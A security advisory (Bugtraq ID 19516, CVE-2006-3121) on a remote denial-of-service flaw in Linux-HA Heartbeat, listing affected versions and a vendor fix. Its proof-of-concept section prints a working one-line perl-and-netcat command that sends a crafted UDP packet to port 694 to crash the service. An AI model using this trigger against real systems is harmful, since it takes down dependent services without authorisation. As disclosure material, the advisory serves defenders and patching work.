Linux-HA Heartbeat Remote Denial of Service Vulnerability

BID:19516

CVE-2006-3121 |

Info

Linux-HA Heartbeat Remote Denial of Service Vulnerability

Bugtraq ID: 19516
Class: Design Error
CVE: CVE-2006-3121
Remote: Yes
Local: No
Published: Aug 13 2006 12:00AM
Updated: Jan 31 2008 02:47AM
Credit: This vulnerability was discovered by Yan Rong Ge. forloop discovered that BlueCat Networks Adonis includes a vulnerable version of Linux-HA.
Vulnerable: Ubuntu Ubuntu Linux 5.10 sparc
Ubuntu Ubuntu Linux 5.10 powerpc
Ubuntu Ubuntu Linux 5.10 i386
Ubuntu Ubuntu Linux 5.10 amd64
Ubuntu Ubuntu Linux 5.0 4 powerpc
Ubuntu Ubuntu Linux 5.0 4 i386
Ubuntu Ubuntu Linux 5.0 4 amd64
Ubuntu Ubuntu Linux 6.06 LTS sparc
Ubuntu Ubuntu Linux 6.06 LTS powerpc
Ubuntu Ubuntu Linux 6.06 LTS i386
Ubuntu Ubuntu Linux 6.06 LTS amd64
Mandriva Linux Mandrake 2006.0 x86_64
Mandriva Linux Mandrake 2006.0
MandrakeSoft Corporate Server 3.0 x86_64
MandrakeSoft Corporate Server 3.0
Linux-HA heartbeat 2.0.6
Linux-HA heartbeat 2.0.5
Linux-HA heartbeat 2.0.4
Linux-HA heartbeat 2.0.3
Linux-HA heartbeat 2.0.2
Linux-HA heartbeat 2.0.1
Linux-HA heartbeat 2.0
Linux-HA heartbeat 1.2.4
Linux-HA heartbeat 1.2.3
- Debian Linux 3.1 sparc
- Debian Linux 3.1 s/390
- Debian Linux 3.1 ppc
- Debian Linux 3.1 mipsel
- Debian Linux 3.1 mips
- Debian Linux 3.1 m68k
- Debian Linux 3.1 ia-64
- Debian Linux 3.1 ia-32
- Debian Linux 3.1 hppa
- Debian Linux 3.1 arm
- Debian Linux 3.1 alpha
- Debian Linux 3.1
Linux-HA heartbeat 1.2.2
Linux-HA heartbeat 0.9.4 d
Linux-HA heartbeat 0.9.4
Linux-HA heartbeat 0.4.9 c
Linux-HA heartbeat 0.4.9 b
Linux-HA heartbeat 0.4.9 a
Linux-HA heartbeat 0.4.9 .1
Linux-HA heartbeat 0.4.9
- Debian Linux 3.0 sparc
- Debian Linux 3.0 s/390
- Debian Linux 3.0 ppc
- Debian Linux 3.0 mipsel
- Debian Linux 3.0 mips
- Debian Linux 3.0 m68k
- Debian Linux 3.0 ia-64
- Debian Linux 3.0 ia-32
- Debian Linux 3.0 hppa
- Debian Linux 3.0 arm
- Debian Linux 3.0 alpha
- Debian Linux 3.0
Gentoo Linux
Debian Linux 3.1 sparc
Debian Linux 3.1 s/390
Debian Linux 3.1 ppc
Debian Linux 3.1 mipsel
Debian Linux 3.1 mips
Debian Linux 3.1 m68k
Debian Linux 3.1 ia-64
Debian Linux 3.1 ia-32
Debian Linux 3.1 hppa
Debian Linux 3.1 arm
Debian Linux 3.1 amd64
Debian Linux 3.1 alpha
Debian Linux 3.1
Bluecat Networks Adonis XHA 5.0.2 .8
Bluecat Networks Adonis 500
Bluecat Networks Adonis 1000
Not Vulnerable: Linux-HA heartbeat 2.0.7
Linux-HA heartbeat 1.2.5
Bluecat Networks Adonis (Firmware) 5.0.5

Discussion

Linux-HA Heartbeat Remote Denial of Service Vulnerability

Linux-HA Heartbeat is prone to a remote denial-of-service vulnerability.

By successfully exploiting this issue, attackers can crash the master control process. This may result in the failure of services that depend on the application's functionality.

Exploit / POC

Linux-HA Heartbeat Remote Denial of Service Vulnerability

The following command, provided by defaultroute, is reportedly sufficient to trigger this issue:

perl -e 'print "###\n2147483647heart attack:%%%\n"' | nc -u 192.168.1.12 694

Solution / Fix

Linux-HA Heartbeat Remote Denial of Service Vulnerability

Solution:
The vendor has released an upgrade that addresses this issue.

Please see the associated advisories for more information.


Linux-HA heartbeat 0.4.9 a

Linux-HA heartbeat 0.4.9 .1

Linux-HA heartbeat 0.4.9 c

Linux-HA heartbeat 0.4.9

Linux-HA heartbeat 0.4.9 b

Linux-HA heartbeat 0.9.4 d

Linux-HA heartbeat 0.9.4

Linux-HA heartbeat 1.2.2

Linux-HA heartbeat 1.2.3

Linux-HA heartbeat 1.2.4

Linux-HA heartbeat 2.0

Linux-HA heartbeat 2.0.1

Linux-HA heartbeat 2.0.2

Linux-HA heartbeat 2.0.3

Linux-HA heartbeat 2.0.4

Linux-HA heartbeat 2.0.5

Linux-HA heartbeat 2.0.6

References

Linux-HA Heartbeat Remote Denial of Service Vulnerability

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